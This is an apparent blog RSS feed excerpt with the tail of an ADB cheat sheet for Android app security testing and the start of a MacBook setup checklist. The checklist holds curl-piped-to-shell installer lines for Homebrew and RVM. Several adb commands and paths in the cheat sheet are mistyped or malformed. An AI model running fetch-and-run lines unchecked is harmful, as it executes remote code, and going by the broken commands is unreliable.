        &lt;td&gt;&lt;p&gt;adb install -r app-name.apk&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;reinstall the app and keep its data on the device&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb install –k app-name.apk /local/path/&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Installs the app and retains its data without deleting it&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;adb-home-button-press&quot;&gt;adb home button press&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb shell am start &lt;span class=&quot;nt&quot;&gt;-W&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; android.intent.category.HOME &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; android.intent.action.MAIN&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;adb-take-screenshot&quot;&gt;adb take screenshot&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb shell screencap &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; /sdcard/screenshot.png&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;adb-screen-record&quot;&gt;adb screen record&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb shell screenrecord /sdcard/NotAbleToLogin.mp4&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;shpref&quot;&gt;ShPref&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;replace org.example.app with your application &lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;adb-restart-app&quot;&gt;adb restart app&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb shell &lt;span class=&quot;s1&quot;&gt;&apos;am broadcast -a org.foo.app.sp.CLEAR --ez restart true&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;adb-emulate-device&quot;&gt;adb emulate device&lt;/h3&gt;

&lt;p&gt;How to emulate device in adb:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb shell wm size 2048x1536
adb shell wm density 288&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;adb reset to default:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb shell wm size reset
adb shell wm density reset&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;adb-print-text&quot;&gt;adb print text&lt;/h2&gt;

&lt;p&gt;Potentially useful for input validation based attacks:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb shell input text &lt;span class=&quot;s1&quot;&gt;&apos;payload&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;adb-key-events&quot;&gt;adb key events&lt;/h2&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;adb shell input keyevent 3&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;home btn&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;adb shell input keyevent 4&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;back btn&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;adb shell input keyevent 5&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;call&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;adb shell input keyevent 6&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;end call&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;adb shell input keyevent 26&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;turn android device on and off. it will toggle device to on/off status.&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;adb shell input keyevent 27&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;camera&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;adb shell input keyevent 64&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;open browser&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;adb shell input keyevent 66&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;enter&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;adb shell input keyevent 67&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;delete (backspace)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;adb shell input keyevent 207&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;contacts&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;adb shell input keyevent 220 / 221&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;brightness down/up&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;&lt;code&gt;adb shell input keyevent 277 / 278 / 279&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;cut/copy/paste&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;useful-file-system-paths&quot;&gt;Useful file system paths&lt;/h2&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;&lt;code&gt;PATH&lt;/code&gt;&lt;/th&gt;
        &lt;th&gt;&lt;p&gt;DESCRIPTION&lt;/p&gt;&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;/data/data/&amp;lt;package&amp;gt;/databases&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;App databases&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;/data/data/&amp;lt;package&amp;gt;/shared_prefs/&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Shared preferences&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;/data/app&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;APK installed by user&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;/system/app&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Pre-installed APK files&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;/mmt/asec&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Encrypted apps (App2SD)&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;/mmt/emmc&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Internal SD Card&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;/mmt/adcard&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;External/Internal SD Card&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;/mmt/adcard/external_sd&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;External SD Card&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;adb-show-device-information&quot;&gt;adb show device information&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb get-state&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Print device state&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb get-serialno&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Get the serial number&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell dumpsys iphonesybinfo&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Get the IMEI&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell netstat&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;List TCP connectivity&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell pwd&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Print current working directory&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell dumpsys battery&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Battery status&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell pm list features&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;List phone features&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell service list&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;List all services&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell dumpsys activity &amp;lt;package&amp;gt;/&amp;lt;activity&amp;gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Activity info&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell ps&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Print process status&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell wm size&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Displays the current screen resolution&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;dumpsys window windows | grep -E &apos;mCurrentFocus|mFocusedApp&apos;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Print current app&apos;s opened activity&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;adb-show-package-info&quot;&gt;adb show package info&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell list packages&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;List package names&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell list packages -r&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;List package name + path to APKs&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell list packages -3&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;List third-party package names&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell list packages -s&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;List only system packages&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell list packages -u&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;List package names + uninstalled&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell dumpsys package packages&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;List info on all apps&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell dump &amp;lt;name&amp;gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;List info on one package&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell path &amp;lt;package&amp;gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Path to the APK file&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;adb-system-settings&quot;&gt;adb system settings&lt;/h3&gt;

&lt;p&gt;e.g., adjust battery level, resolution etc&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell dumpsys battery set level &amp;lt;n&amp;gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Change the battery level from 0 to 100&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell dumpsys battery set status &amp;lt;n&amp;gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Change the battery status to unknown, charging, discharging, not charging, or full&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell dumpsys battery reset&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Reset the battery&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell dumpsys battery set usb &amp;lt;n&amp;gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Change the status of USB connection to ON or OFF&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell wm size WxH&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Sets the resolution to WxH&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;adb-device-commands&quot;&gt;adb device commands&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;COMMAND&lt;/th&gt;
        &lt;th&gt;DESCRIPTION&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb reboot-recovery&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Reboot device into recovery mode&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb reboot fastboot&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Reboot device into fastboot mode&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell screencap -p &quot;/tmp/screenshot.png&quot;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Capture screenshot&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell screenrecord &quot;/tmp/record.mp4&quot;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Record device screen&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb backup -apk -all -f backup.ab&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Backup settings and apps&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb backup -apk -shared -all -f backup.ab&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Backup settings, apps, and shared storage&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb backup -apk -nosystem -all -f backup.ab&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Backup only non-system apps&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb restore backup.ab&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Restore a previous backup&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell am start|startservice|broadcast &amp;lt;INTENT&amp;gt;[&amp;lt;COMPONENT&amp;gt;] -a &amp;lt;ACTION&amp;gt;&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Start activity intent&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell am start -a android.intent.action.VIEW -d URL&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Open URL&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;&lt;p&gt;adb shell am start -t image/* -a android.intent.action.VIEW&lt;/p&gt;&lt;/td&gt;
        &lt;td&gt;&lt;p&gt;Opens gallery&lt;/p&gt;&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;adb-backup&quot;&gt;adb backup&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;adb backup &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; chrome.ab &lt;span class=&quot;nt&quot;&gt;-apk&lt;/span&gt; com.android.chromer device&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;We hope this ADB cheat sheet was useful in covering the usage of the ADB tool for performing mobile app security testing against Android Apps.&lt;/p&gt;

&lt;h2 id=&quot;sources&quot;&gt;Sources&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://gist.github.com/Pulimet/5013acf2cd5b28e55036c82c91bd56d8&quot;&gt;https://gist.github.com/Pulimet/5013acf2cd5b28e55036c82c91bd56d8&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.android.com/tools/adb&quot;&gt;https://developer.android.com/tools/adb&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>MacBook - Post Install Config + Apps</title>
          <link>https://hacksofdhruv.me/blog/macbook-post-install-check-list/</link>
          <pubDate>Sat, 06 Apr 2024 01:04:18 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>mac-osx</category>
          
          
          <category>urandom</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/macbook-post-install-check-list/</guid>
          <description>&lt;p&gt;Just for fun, here is my list of post install config changes plus list of apps I install after installing &lt;code&gt; Mac OS X &lt;/code&gt;&lt;/p&gt;

&lt;p&gt;##Side Dock&lt;/p&gt;

&lt;p&gt;Open: &lt;code&gt;System Preferences &amp;gt; Dock&lt;/code&gt; click &lt;strong&gt;Left&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/macbook-post-install-config-apps/mac-osx-dock-on-left.png&quot; alt=&quot;Max OS X Dock Left hand side&quot; /&gt;&lt;/p&gt;

&lt;p&gt;##Enable Right Click MacBook Trackpad&lt;/p&gt;

&lt;p&gt;Open: &lt;code&gt;System Preferences &amp;gt; Trackpad&lt;/code&gt; click &lt;strong&gt;click in bottom right corner&lt;/strong&gt; under &lt;em&gt;Secondary Click&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/macbook-post-install-config-apps/mac-osx-enable-right-click-trackpad.png&quot; alt=&quot;Max OS X Enable Right Click Trackpad&quot; /&gt;&lt;/p&gt;

&lt;p&gt;##Enable path view in finder&lt;/p&gt;

&lt;p&gt;Open Finder &lt;code&gt;View &amp;gt; Show Path Bar&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The path will render at the bottom of the Finder window.&lt;/p&gt;

&lt;p&gt;##Create symlink for /Volumes&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; /Volumes/ ~/Desktop/Volumes/&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;If I don’t do this, my cifs mounts show as a single drive - if you have none browsable cifs mounts then this can become a pain.&lt;/p&gt;

&lt;p&gt;##Mount smb / cifs share in OSX&lt;/p&gt;

&lt;p&gt;Open Finder, press &lt;code&gt;CMD+k&lt;/code&gt; and enter the path of your smb &lt;code&gt;smb://&lt;/code&gt; or cifs &lt;code&gt;cifs://&lt;/code&gt; server.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/macbook-post-install-config-apps/mac-osx-mount-cifs-share.png&quot; alt=&quot;Max OS X Mount Cifs / SMB Share&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;finder-show-file-extensions&quot;&gt;Finder show file extensions&lt;/h2&gt;

&lt;p&gt;Show file extensions on Mac OS X, open Finder: &lt;code&gt;Preferences &amp;gt; Advanced&lt;/code&gt; tick &lt;strong&gt;Show all filename extensions&lt;/strong&gt;, I also untick &lt;strong&gt;Show warnnig before changing an extension&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/macbook-post-install-config-apps/os-x-finder-show-file-extensions.png&quot; alt=&quot;Max OS X Show File Extensions in Finder&quot; /&gt;&lt;/p&gt;

&lt;p&gt;##Delete junk from dock&lt;/p&gt;

&lt;p&gt;Delete all unused apps / icons from dock.&lt;/p&gt;

&lt;p&gt;##Increase Terminal Font Size&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Terminal &amp;gt; Preferences &amp;gt; Text&lt;/code&gt; adjust font size.&lt;/p&gt;

&lt;p&gt;##Install Brew&lt;/p&gt;

&lt;h2 id=&quot;setup-home-brew&quot;&gt;Setup home brew&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ruby &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;curl &lt;span class=&quot;nt&quot;&gt;-fsSL&lt;/span&gt; https://raw.githubusercontent.com/Homebrew/install/master/install&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Install command line tools when prompted.&lt;/p&gt;

&lt;h2 id=&quot;setup-jekyll&quot;&gt;Setup Jekyll&lt;/h2&gt;

&lt;p&gt;###Install RVM&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gpg &lt;span class=&quot;nt&quot;&gt;--keyserver&lt;/span&gt; hkp://keys.gnupg.net &lt;span class=&quot;nt&quot;&gt;--recv-keys&lt;/span&gt; 409B6B1796C275462A1703113804BB82D39DC0E3
&lt;span class=&quot;se&quot;&gt;\c&lt;/span&gt;url &lt;span class=&quot;nt&quot;&gt;-sSL&lt;/span&gt; https://get.rvm.io | bash &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; stable&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;###Install Jekyll&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gem &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;jekyll &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;###Trouble Shooting Jekyll Install&lt;/p&gt;

&lt;p&gt;you don’t have write permissions for the /library/ruby/gems/2.0.0 directory. mac&lt;/p&gt;

&lt;p&gt;Close and reopen terminal, re-run gem install jekyll - the gems should build fine, &lt;strong&gt;DO NOT USE&lt;/strong&gt; sudo.&lt;/p&gt;

&lt;p&gt;cd into your jekyll dir and run “jekyll serve”&lt;/p&gt;

&lt;p&gt;Install the following via brew:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap vim netcat git&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Copy .ssh back over for ssh keys.&lt;/p&gt;

&lt;h2 id=&quot;install-apps&quot;&gt;Install Apps&lt;/h2&gt;

&lt;p&gt;List of Apps I use.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Evernote&lt;/li&gt;
  &lt;li&gt;Disk Inventory X (for when du -h doesn’t cut it)&lt;/li&gt;
  &lt;li&gt;Home Brew - It’s self contained, easy to null should you need to.&lt;/li&gt;
  &lt;li&gt;VLC&lt;/li&gt;
  &lt;li&gt;Wireshark&lt;/li&gt;
  &lt;li&gt;uTorrent&lt;/li&gt;
